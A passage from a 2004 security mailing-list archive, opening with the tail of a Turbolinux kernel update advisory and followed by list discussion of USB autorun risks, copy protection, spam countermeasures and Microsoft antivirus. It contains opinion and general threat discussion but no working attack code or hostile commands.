     47398657 8425b46a3c0bd5bee48302db26428790

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-2.6.0-10.i586.rpm
     13232411 669d134e9c520ca9ec339975cd1145ec
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-doc-2.6.0-10.i586.rpm
      1662236 e5a991e66635db340b3630970c4a6ced
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-extramodules-2.6.0-10.i586.rpm
      2965707 171a5942be6a1520a8612dc6477abecd
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-headers-2.6.0-10.i586.rpm
      1754211 e1ff3f3d6c32d5dbae532a835c62c429
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-pcmcia-cs-2.6.0-10.i586.rpm
       316045 a2cc2701e27605f005a53bd5c26ba3f9
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-smp-2.6.0-10.i586.rpm
     13691573 7e3a2fc3cbfae5b2c2500bb5428707cc
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/kernel-source-2.6.0-10.i586.rpm
     28533683 98d8843842ffb57c318d730c7f372bd3

 <Turbolinux 8 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/kernel-2.4.18-20.src.rpm
     42490471 2474d13e42a4d5428e0364013a3e85b2

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-2.4.18-20.i586.rpm
     14113582 f598c4484cdd94ba1111d6f16ebfaac6
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-BOOT-2.4.18-20.i586.rpm
      7155416 2fe7f368c0eb45660f83644b66c7c088
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-doc-2.4.18-20.i586.rpm
      1459279 4577dde9901c9a7c7189968aa833ad81
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-headers-2.4.18-20.i586.rpm
      1823816 b799c758422e19a3773e111658e72608
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-pcmcia-cs-2.4.18-20.i586.rpm
       331484 011b0aac10fe484534ef83bd837f4445
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-smp-2.4.18-20.i586.rpm
     14622987 00bfb603f11f78a80f0a590f2b9107bb
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-smp64G-2.4.18-20.i586.rpm
     14608429 193d6331f4efac846923176dba979545
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/kernel-source-2.4.18-20.i586.rpm
     26626970 b86cde45808ffa1d92e0b1886a54dba9

 <Turbolinux 8 Workstation>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/kernel-2.4.18-20.src.rpm
     42490471 2474d13e42a4d5428e0364013a3e85b2

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-2.4.18-20.i586.rpm
     14113582 f598c4484cdd94ba1111d6f16ebfaac6
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-BOOT-2.4.18-20.i586.rpm
      7155416 2fe7f368c0eb45660f83644b66c7c088
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-doc-2.4.18-20.i586.rpm
      1459279 4577dde9901c9a7c7189968aa833ad81
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-headers-2.4.18-20.i586.rpm
      1823816 b799c758422e19a3773e111658e72608
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-pcmcia-cs-2.4.18-20.i586.rpm
       331484 011b0aac10fe484534ef83bd837f4445
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-smp-2.4.18-20.i586.rpm
     14622987 00bfb603f11f78a80f0a590f2b9107bb
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-smp64G-2.4.18-20.i586.rpm
     14608429 193d6331f4efac846923176dba979545
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/kernel-source-2.4.18-20.i586.rpm
     26626970 b86cde45808ffa1d92e0b1886a54dba9

 <Turbolinux 7 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/kernel-2.4.18-20.src.rpm
     42490471 2474d13e42a4d5428e0364013a3e85b2

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-2.4.18-20.i586.rpm
     14113582 f598c4484cdd94ba1111d6f16ebfaac6
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-BOOT-2.4.18-20.i586.rpm
      7155416 2fe7f368c0eb45660f83644b66c7c088
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-doc-2.4.18-20.i586.rpm
      1459279 4577dde9901c9a7c7189968aa833ad81
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-headers-2.4.18-20.i586.rpm
      1823816 b799c758422e19a3773e111658e72608
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-pcmcia-cs-2.4.18-20.i586.rpm
       331484 011b0aac10fe484534ef83bd837f4445
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-smp-2.4.18-20.i586.rpm
     14622987 00bfb603f11f78a80f0a590f2b9107bb
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-smp64G-2.4.18-20.i586.rpm
     14608429 193d6331f4efac846923176dba979545
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/kernel-source-2.4.18-20.i586.rpm
     26626970 b86cde45808ffa1d92e0b1886a54dba9

 <Turbolinux 7 Workstation>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/kernel-2.4.18-20.src.rpm
     42490471 2474d13e42a4d5428e0364013a3e85b2

   Binary Packages
   Size : MD5

   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-2.4.18-20.i586.rpm
     14113582 f598c4484cdd94ba1111d6f16ebfaac6
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-BOOT-2.4.18-20.i586.rpm
      7155416 2fe7f368c0eb45660f83644b66c7c088
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-doc-2.4.18-20.i586.rpm
      1459279 4577dde9901c9a7c7189968aa833ad81
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-headers-2.4.18-20.i586.rpm
      1823816 b799c758422e19a3773e111658e72608
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-pcmcia-cs-2.4.18-20.i586.rpm
       331484 011b0aac10fe484534ef83bd837f4445
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-smp-2.4.18-20.i586.rpm
     14622987 00bfb603f11f78a80f0a590f2b9107bb
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-smp64G-2.4.18-20.i586.rpm
     14608429 193d6331f4efac846923176dba979545
   ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/kernel-source-2.4.18-20.i586.rpm
     26626970 b86cde45808ffa1d92e0b1886a54dba9

 References:

 CVE
   [CAN-2004-0554]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0554

 * You may need to update the turbopkg tool before applying the update.
Please refer to the following URL for detailed information.

  http://www.turbolinux.com/download/zabom.html
  http://www.turbolinux.com/download/zabomupdate.html

Package Update Path
http://www.turbolinux.com/update

============================================================
 * To obtain the public key

Here is the public key

 http://www.turbolinux.com/security/

 * To unsubscribe from the list

If you ever want to remove yourself from this mailing list,
  you can send a message to <server-users-e-ctlturbolinux.co.jp> with
the word `unsubscribe' in the body (don't include the quotes).

unsubscribe

 * To change your email address

If you ever want to chage email address in this mailing list,
  you can send a message to <server-users-e-ctlturbolinux.co.jp> with
the following command in the message body:

  chaddr 'old address' 'new address'

If you have any questions or problems, please contact
<supp_infoturbolinux.co.jp>

Thank you!

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0qvUK0LzjOqIJMwRAgKIAKCjZuJThyXzCwHqL4WSzQJwoRQgPwCgtwiM
3j7OWZdMqoVZfaoN5E2hunA=
=JjuT
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

From: Fetch, Brandon (BFetchtexpac.com)
Date: Fri Jun 18 2004 - 08:50:00 CDT

Similarly - what's to keep someone from using their digital out form their
home audio equipment to send the bits to their digital in on their computer?

Viola! 'Correct' digital bit stream that is now on the PC to do with as
they wish.

I haven't verified this but would presume the data stream to be 'pure' and
not protected in any way. Can someone correct me?

Brandon Fetch
817-871-4036
-- carpe ductum -- "Grab the tape"

-----Original Message-----
From: Eric Paynter [mailto:ericarcticbears.com]
Sent: Friday, June 18, 2004 12:01 AM
To: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

The sad part about this entire topic is the futility of attempting to copy
protect in the first place. So they install some software and Mac and
Win... then some Linux kiddie rips the CD and puts it on P2P and it's out
now for the whole world. All it takes is one person to break it and it's
all over. What a waste of resources trying to protect it.

-Eric

--
arctic bears - affordable email and name services yourdomain.com
http://www.arcticbears.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

This message is intended only for the person(s) to which it is addressed
and may contain privileged, confidential and/or insider information.
If you have received this communication in error, please notify us
immediately by replying to the message and deleting it from your computer.
Any disclosure, copying, distribution, or the taking of any action concerning
the contents of this message and any attachment(s) by anyone other
than the named recipient(s) is strictly prohibited.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] USB Auto run function

From: Harlan Carvey (keydet89yahoo.com)
Date: Fri Jun 18 2004 - 08:52:09 CDT

Oscar,
 
> This issue has been discused in pentest list. Take
> a look at:

I don't think the issue is that it's been discussed,
more that it hasn't been really resolved/addressed.
Take a look at the post you linked to, specifically:

"I think turning off auto-run is a REALLY good idea."

According to MS documentation, autorun functionality
for USB-connected devices *is* off by default.
However, the poster states pretty clearly that this
wasn't the case in his experience. Also, the poster
(as well as others, such as the author of the 2600
article) aren't providing information such as the
value of the Registry key in question on systems
they've encountered...

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Spam Solution

From: Ng, Kenneth (US) (kenngkpmg.com)
Date: Fri Jun 18 2004 - 09:41:30 CDT

There isn't going to be any one solution that solves the spam problem. And
even if there were, it would be years before we got the bulk of the email
systems to handle it. And along the way you know some of the vendors will
do their usual "embrace extend exterminate" dirty tricks to put others at a
disadvantage. And when sites start using only the new infrastructure there
will be pain. But by every means we deny to the spamers, that leaves one
less avenue open to them, and forces them to spend resources to find new
means. The better ones will adapt, the slower ones will go extinct. Think
of it as evolution in action. Yes, its sick, but we're going to be breeding
better spammers.

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com]On Behalf Of Gadi Evron
Sent: Friday, June 18, 2004 6:38 AM
To: Alavan
Cc: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Spam Solution

> Also, if spammers can't forge, so what? They'll just grab the domain
> name from the PC they've hijacked and send away or go back to using the
> e-mail client on the machine. Once the spammers change their methodology
> (which they do all the time to counter anti-spam efforts), these
> measures will have little to no effect.

I believe this is the main issue here.

Spammers already have and use the technology to circumvent all this, so
they don't even need to invent new tricks.

As long as there are drone armies and unsuspecting "stupid" users, these
kind of solutions, although interesting and helpful, are useless to stop
actual spam.

Another issue is that non of the people I talked this over with see how
this can work unless globally adopted by everyone. An adoption of this
system over a few years simply won't work. It needs to be over-night and
that's not going to happen.

        Gadi Evron.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

*****************************************************************************
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorized.

If you are not the intended recipient, any disclosure, copying, distribution
or any action taken or omitted to be taken in reliance on it, is prohibited
and may be unlawful. When addressed to our clients any opinions or advice
contained in this email are subject to the terms and conditions expressed in
the governing KPMG client engagement letter.
*****************************************************************************

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: José María Mateos (josemaria.mateoshispalinux.es)
Date: Fri Jun 18 2004 - 10:45:49 CDT

El miércoles 16 de junio a las 18:28, Shawn Nunley escribió:
> So far, in my Gmail account, I've had exactly 0 spam emails, and I

        Have you looked into the Spam mailbox? Their filter catches a
lot of spam, but not all. Anyway, they won't delete anything, just move
it away from your inbox.

        Regards.

--
** Las Penas del Agente Smith: http://chema.homelinux.org **
http://EuropeSwPatentFree.hispalinux.es - EuropeSwPatentFree
GPG key ID: 0x2948FA19 | Please encrypt private mail

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA0w4t9P6GbSlI+hkRAqDsAKCBgqPqvc1HaMseNM3hRGwhIA4WfgCg0v0P
3EXk1UPHDqcDOg0lj+5xNjY=
=1z3I
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] USB risks (continued)

From: Gadi Evron (geegotistical.reprehensible.net)
Date: Fri Jun 18 2004 - 11:09:20 CDT

I'm emailing this to bugtraq as well. A discussion there might produce
more interesting results than "MS sucks" on FD. This is rather important
and has grown in importance over the last couple of years. There were a
few discussions on the subject, but nothing to help formulate a plan on
how to defend against it.

Here goes...

>> This issue has been discused in pentest list. Take
>>a look at:
>>http://archives.neohapsis.com/archives/sf/pentest/2004-05/0136.html
> I don't think the issue is that it's been discussed,
> more that it hasn't been really resolved/addressed.

I already replied to Harlan off-list, but I figured I might as well
reply about some of this here as well.

First off, it has been discussed rather fully on pen-test and the
archives would make a good resource.

Auto-run certainly isn't a new issue and a factor in every hardening of
a Windows system for a while now. It was a big "thing" 2 years ago.

It should be tested further, but the risk of the USB as a mechanism for
stealing information and/or introducing a Trojan horse/gaining access to
a PC is what we need to be concerned about.

Regular usage of a USB drive makes the cleaning crew potentially the
richest sort on earth.

What I believe issues that would have to be addressed in the future, are:
[Please keep in mind that USB performs as a hub/client model and that
the main driver for USB devices is built into Windows, unlike what I
originally thought before looking further into this]

1. Better systems to track/deny usage of USB drives (all-together or of
    particular types, negatively or positively). Several systems
    already exist, from removing USB/gluing the plug to programs
    that sit on a Domain.
2. Buffer Overflow:
    I personally find the USB driver to be rather unstable, although
    others disagree. A buffer overflow in the driver can be catastrophic
    and _perhaps_ even effect very strong crypto-systems. Maybe systems
    like eToken, although I haven't looked into it, so i can't say.
3. SDK's:
    Many SDK's exist for developing USB drivers. If a backdoor is put
    into even just one of them...
    There is a huge market for USB coders. Any kiddie interested?

On the organizational level, it should be addressed in a matter of
policy, and enforced by different monitoring systems.

This issue isn't singular to USB, but it highlights the problem rather
nicely.

Some future trends might be wireless control of remote systems via USB,
going to a PC with a PDA and choosing what to get.change, or simply
copying automatically using the USB autorun capability (there was a POC
on the pen-test discussion).

These are all valid threats, but the main threat of copying data to a
USB drive covertly and disappearing is what scares me currently. Also,
what stops a person from copying work-related material to a digital
camera memory stick?

Nothing if not your policy and enforcement+monitoring of it.

Other than the pen-test discussion there was a discussion here a few
months ago on domain USB monitor services, and a USB device (once
wireless, once for copying data automatically) showed on these TV shows:
Threat Matrix and Jake 2.0.

The reason I think this should be discussed further is because I truly
believe in the risk. It is "out there", known and there is even a POC..
but no real discussion on organizational counter-measures and defensive
strategies.

Here is Harlan's post:

>> This is an interesting topic of discussion. Like one
>> poster, I first saw this in the most recent issue of
>> 2600. I began looking into it, and almost immediately
>> came up with this particular MS KB article:
>> http://support.microsoft.com/default.aspx?scid=kb;EN-US;136214

>> As you can see, KB136214 states pretty clearly that
>> *be default*, autorun.inf file processing is NOT
>> enabled for USB-connected thumb drives. I haven't
>> tested it myself, but another poster has stated that
>> while items in the "open=" line may not be launched,
>> the "icon=" line seems to be processed.

>> I read Gadi's comments:
>> http://catless.ncl.ac.uk/go/risks/23/41/4

>> I had some questions for Gadi, and fired off an email
>> but have yet to hear back.

>> While I do agree wholeheartedly that USB-connected
>> devices are definitely an issue within a network
>> infrastructure, it's not yet clear to me that the pose
>> the threats that have been presented.

        Gadi Evron.

--
Email: gelinuxbox.org. Work: gadiecbs.gov.il. Backup: gewarp.mx.dk.
Phone: +972-50-428610 (Cell).

PGP key for attachments: http://vapid.reprehensible.net/~ge/Gadi_Evron.asc
ID: 0xD9216A06 FP: 5BB0 D3E2 D3C1 19B7 2104 C0D0 A7B3 1CF7 D921 6A06
GPG key for encrypted email:
http://vapid.reprehensible.net/~ge/Gadi_Evron_Emails.asc
ID: 0x06C7D450 FP: 3B88 845A DF1F 4062 E5BA 569A A87E 8DB7 06C7 D450

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Spam Solution

From: Alavan (alavanpangeatech.com)
Date: Fri Jun 18 2004 - 11:07:40 CDT

At 06:33 PM 6/18/2004 +1200, you wrote:
>Haven't you more or less just described SPF?

My apologies. I didn't read enough about SPF/Caller-ID (actually I only
read the news reports). I thought that they only verified that the FROM
address and the IP of the sending machine existed in the same domain. It
appears that they do address registering sending servers.

Next time, I'll try to shut my mouth before attempting to put my foot in it.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] M$ Getting Better?

From: Robert Guess (tcguesrtcc.edu)
Date: Fri Jun 18 2004 - 10:05:25 CDT

After reading the M$ AV thread I have to give my $2 (inflation)...

Yes, Microsoft is improving... but I like to explain it as follows:
"If a criminal goes from committing murder to robbing 7-11's does it
mean that they are a good person? After all, they are getting better."

Robert Guess
Instructor, Information Systems Technology
Tidewater Community College
(757) 822-5022

() ascii ribbon campaign
/\ against html email

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] (no subject)

From: raize (raizegravito.com)
Date: Fri Jun 18 2004 - 10:42:14 CDT

> Similarly - what's to keep someone from using their digital out form their
> home audio equipment to send the bits to their digital in on their computer?

The problem is that many users of this list are so stupid, they would rather complain endlessly about copy protection rather than do exactly what you describe. The only possible conclusion one can draw is that the people who have written about how great a travesty copy-protection is are the only ones wholly unable to circumvent it. They are also the ones least likely to ever comment on security related topics, which is exactly what this list is for.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] USB autorun function

From: Evil Wrangler (wranglernetpublishing.com)
Date: Fri Jun 18 2004 - 10:32:16 CDT

I want to say how flattered I am to have generated so much discussion
from my little 2600 article. I welcome all corrections and additions.

Information should be free!

=;^)

--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                  Wrangler - hijacking a connection, near you!,
                  "One day closer to a Microsoft-free world!"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] M$ Getting Better?

From: joe (mvpjoeware.net)
Date: Fri Jun 18 2004 - 12:19:12 CDT

As an instructor, you forgot an important part...

Instructions/ideas on what you think they should do to get better.

What would it take for them to get that "A" in your class in terms of AV and
security? Is there anything that makes sense from a business perspective
(recall they are a business not a humanitarian fund dedicated to furthering
knowledge and technology for the sake of fun)? Or is it simply a point that
it is fun and well accepted to take pot shots?

I would expect seeing the "M$" in your post the answer may be more obvious
than I would prefer. I like thinking instructors teaching impressionable
minds are open minded themselves.

  joe

--
Anyone can complain and tear down, it takes a special teacher and person to
build up and correct and teach.

 

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Robert Guess
Sent: Friday, June 18, 2004 11:05 AM
To: full-disclosurelists.netsys.com
Subject: [Full-Disclosure] M$ Getting Better?

After reading the M$ AV thread I have to give my $2 (inflation)...

Yes, Microsoft is improving... but I like to explain it as follows:
"If a criminal goes from committing murder to robbing 7-11's does it mean
that they are a good person? After all, they are getting better."

Robert Guess
Instructor, Information Systems Technology Tidewater Community College
(757) 822-5022

() ascii ribbon campaign
/\ against html email

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] [Fwd: Caveat Lector: Beastie Boys Evil]

From: Arjan Hulsebos (ahulseboswolfpack.nl)
Date: Fri Jun 18 2004 - 12:00:38 CDT

> The sad part about this entire topic is the futility of attempting to copy
> protect in the first place. So they install some software and Mac and
> Win... then some Linux kiddie rips the CD and puts it on P2P and it's out
> now for the whole world. All it takes is one person to break it and it's
> all over. What a waste of resources trying to protect it.

Or even the mere fact that if I can play a "protected" CD on a device that
has a "line out", I can feed that into the sound card of my PC. Granted,
there's some loss there, but not a whole lot, I'd reckon.

Choosing the right [IOS] image is almost an NP-complete problem even with
feature navigator!
                                           -- Priscilla Oppenheimer
_______________________________
dr. Arjan Hulsebos
Security Engineer
Essent Kabelcom, Home Benelux department
1042 AX Amsterdam
Email: arjanhcorp.home.nl
Tel: +31 20 88 55 407
Mob: +31 6 21 548 777

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: joe (mvpjoeware.net)
Date: Fri Jun 18 2004 - 12:07:29 CDT

I think you believe MS is going into the AV market because it wants to. I
don't think that is the case. In fact I think they would rather not be in
that market. I take as evidenced the fact of going into that market once and
then dropping out of it. I also recall hearing the rumors that the bought
the AV company and started working on it because they wanted to give this AV
away for free with SP2 and then realized that they would be back in court
over it.

I believe MS is doing this strictly as a means to protect itself and
possibly help users at the same time. With luck as the OS features get
better and better the reasons for AV should hopefully reduce (but again I
doubt entirely dry up) thereby reducing the market that you think they are
going into to make cash on.

Since they will have to charge for it, I hope to see them do a small charge
once up front, and then free updates for the time frame you have the OS
loaded. A lot of folks lose their protection after the free update period
expires with the third party stuff. Many, myself included aren't willing to
pay monthly or yearly fees to AV companies.

> since M$ products account for a majority of the A/V infections

This is on par with saying most cars crashed are from GM without stating the
point that GM has the most cars on the road. You can say MS has the most
inept users, most inept admins, most viruses, most bugs, most lots of things
because they simply have the most period.

I was chatting with some friends the other day and the conversation turned
to the idea that had MS initially started with the implementation of fewest
services running as possible on their machines, we wouldn't know about a
great deal of the bugs/holes that were in there as they would still be
buried. Why? Because there would be no point in attacking the service if
only a small subset of people were running it. The bugs could sit in there
and live forever until someone accidentally stumbled on one. You wouldn't be
cool for finding a hole in say the messenger service if hardly anyone was
running it, people would simply say big deal, the press wouldn't be
reporting "Hole found in messenger service, thousands in danger of illicit
penetration!". As an aside, I think we would also have less penetration of
computers in general in the market place. Most people started using
computers in the home because they were easy to use and MS made it that way.

 

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Gregory A.
Gilliss
Sent: Thursday, June 17, 2004 2:03 PM
To: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] MS Anti Virus?

Dan et al:

You are missing the point here. While it matters little *who* is in the A/V
market, it matters very much when one player is Microsoft, because the M$
business model (according to them and to the US DOJ) is to enter a market,
undercut the market, co-opt the market, drive out the competition, and move
on to the next market (not unlike a virus, as told by Agent Smith).
So if M$ enters the A/V market and "bundles" their solution with Windows
whatever, they likely will drive Symantec and McAfee out of the market over
time by co-opting the A/V subscription market.

The security ramifications of a M$ only A/V marketplace relate to Dan Geer's
monoculture argument (already well discussed here) and also a conflict of
interest (since M$ products account for a majority of the A/V infections).
Can we "trust" an A/V solution from M$ that addresses virus infections of M$
products? And is M$ controls both the virus host and the A/V inoculation,
does that not create a potential area of abuse - no
license/upgrade/whatever, no A/V subscription/update/whatever?

As Reagan told Gorbachev, "Let me tell you why we do not trust you..."

G

On or about 2004.06.17 15:51:19 +0000, DAN MORRILL (dan_20407msn.com) said:

> You make anti virus software sound like a gun lock on a 9MM.
>
> Does it really matter who is in the anti-virus market? If Microsoft
> goes that way, and they have the best knowledge of what they created,
> what we can reasonably expect to see in the words of Bill Gates
> "Innovation, with rich user features, deeply embeded in our software".
>
> So, we can have an AV product that does great things, but maybe only
> 2% of it will be used, and because it is a microsoft product, we can
> expect patches every month, with known and unknown vulnerabilites from day
one.

--
Gregory A. Gilliss, CISSP E-mail:
greggilliss.com
Computer Security WWW:
http://www.gilliss.com/greg/
PGP Key fingerprint 2F 0B 70 AE 5F 8E 71 7A 2D 86 52 BA B7 83 D9 B4 14 0E 8C
A3

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: joe (mvpjoeware.net)
Date: Fri Jun 18 2004 - 12:11:01 CDT

1. See XP SP2
2. If you know the amount, possibly this could be part of your issue. :oP
[1]

[1] I wouldn't know Czech from Portuguese. You could give me a shampoo
bottle with instructions in Czech and I wouldn't know what to do with it,
heck I might not even know it was shampoo.
 

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Pavel Kankovsky
Sent: Thursday, June 17, 2004 2:31 PM
To: full-disclosurelists.netsys.com
Subject: RE: [Full-Disclosure] MS Anti Virus?

On Thu, 17 Jun 2004, joe wrote:

> Home users never should have been impacted as they should be running
> firewall software on the internet connections. The fact that they
> don't isn't MS's fault, however MS is stepping up with XP SP2 to help
> out. On top of that they should be patching when necessary.

But it is their fault they release OS with ~5 hard-to-deactivate plus ~5
almost-impossible-to-deactivate dangerous but mostly useless (*) network
services enabled by default that is guaranteed to be owned within 10 minutes
after you plug it to the network unless you 1. install extra firewalling
software, or (assuming you got the version with a builtin packet filter) 2.
smoke enough grass to be able to grok their own configuration dialog windows
(**).

Indeed other vendors made the same stupid mistake in the past (and some of
them insist on repeating it).

(*) Who needs network accessible MS RPC services on a home PC?

(**) I admit I am talking about the Czech version. Maybe the English
version, not affected by the "creativity" of any localization team, is
somewhat more understandable.

--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]
"Resistance is futile. Open your source code and prepare for assimilation."

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] MS Anti Virus?

From: joe (mvpjoeware.net)
Date: Fri Jun 18 2004 - 12:08:08 CDT

Can users hook themselves up to the internet? Last time I got a cable modem
hooked up I had to have some "technician" come into my home and spend a
couple of hours trying to figure out how to hook the thing up even though I
bought my own Cable MODEM and ran my own RG6 and had everything ready, just
needed an IP address. In fact I built a special PC with bare bones
configuration so the "technician" could monkey with that and not try to
figure out my LAN.

It was a nightmare, I would keep dropping hints and he wouldn't listen and
then a while later would be like,oh yeah, I have to do this, which would be
exactly what I hinted. The guy had no clue what he was really doing as he
